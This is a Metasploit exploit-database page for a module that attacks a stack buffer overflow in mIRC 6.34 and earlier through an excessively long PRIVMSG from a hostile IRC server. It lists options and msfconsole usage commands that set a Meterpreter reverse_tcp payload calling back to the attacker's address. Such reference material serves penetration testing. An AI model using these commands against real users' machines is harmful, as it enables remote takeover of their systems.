mIRC <= 6.34 PRIVMSG Handling Stack Buffer Overflow | Metasploit Exploit Database (DB)

mIRC <= 6.34 PRIVMSG Handling Stack Buffer Overflow

This module exploits a buffer overflow in the mIRC IRC Client v6.34 and earlier. By enticing a mIRC user to connect to this server module, an excessively long PRIVMSG command can be sent, overwriting the stack. Due to size restrictions, ordinal payloads may be necessary. This module is based on the code by SkD.

Search Other Modules


Exploit Rank

  • Normal

Exploit Authors

  • patrick < patrick [at] osisecurity.com.au >

Vulnerability References


Exploit Targets

  • 0 - Windows XP SP3 (default)

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/misc/mirc_privmsg_server
msf exploit(mirc_privmsg_server) > show payloads
msf exploit(mirc_privmsg_server) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(mirc_privmsg_server) > set LHOST [MY IP ADDRESS]
msf exploit(mirc_privmsg_server) > exploit


Exploit Module Options

SRVHOST The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0)
SRVNAME Welcome to the ... IRC Server Name (default: Internet Relay Network)
SRVPORT The IRC server port to listen on (default: 6667)
SSL Negotiate SSL for incoming connections
SSLCert Path to a custom SSL certificate (default is randomly generated)
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
DynamicSehRecord Generate a dynamic SEH record (more stealthy)
EnableContextEncoding Use transient context when encoding payloads
ListenerComm The specific communication channel to use for this service
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
TCP::max_send_size Maximum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)